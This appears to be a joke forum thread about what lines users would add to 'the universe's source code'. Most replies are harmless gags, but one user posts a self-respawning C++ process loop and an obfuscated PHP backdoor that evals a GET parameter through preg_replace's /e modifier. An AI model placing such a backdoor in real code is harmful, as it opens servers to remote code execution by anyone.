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codex34

The source code for the universe is going to be recompiled, what lines do you wish to add?

Posted Feb 22, 2017, 12:31 AM UTC

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cyphixia•

int main(int argc, char **argv){ for (;;) std::system(argv[0]); return 0; }

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Stop trolling the universe!

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CChucklesI•

Death=true

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SallaxGold•

// Bryn was here

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babtras•

If (!Babtras.alive) babtras.alive=true;

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cyphixia•

Another universe hidden within this one, obfuscated via base64 encoding that only coolkids can enter with the right POST vars.

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codex34OP•

ThErEiSnOsPoOn didn't work the last time.

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Yesitmatches•

$set me=God

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babtras•

Sucks to be you, you just overwrote yourself with God. Now there's two Gods and you don't exist.

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cyphixia•

Toppest of keks'

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Yesitmatches•

The macro set we use $set is attribute set, thusly attribute set for me is equal to God attribute set, granted God attribute set would have to be set, if it is an atheist doing the main coding, I'm fucked.

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cyphixia•

$sd4 = "_".'G'.'E'.'T'; if (isset( ${$sd4}['15'])) preg_replace('/'.'.*/e', 'ev'.'al ( $'.$sd4.'["15"])', '');

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Yesitmatches•

.... yeah that would be better.

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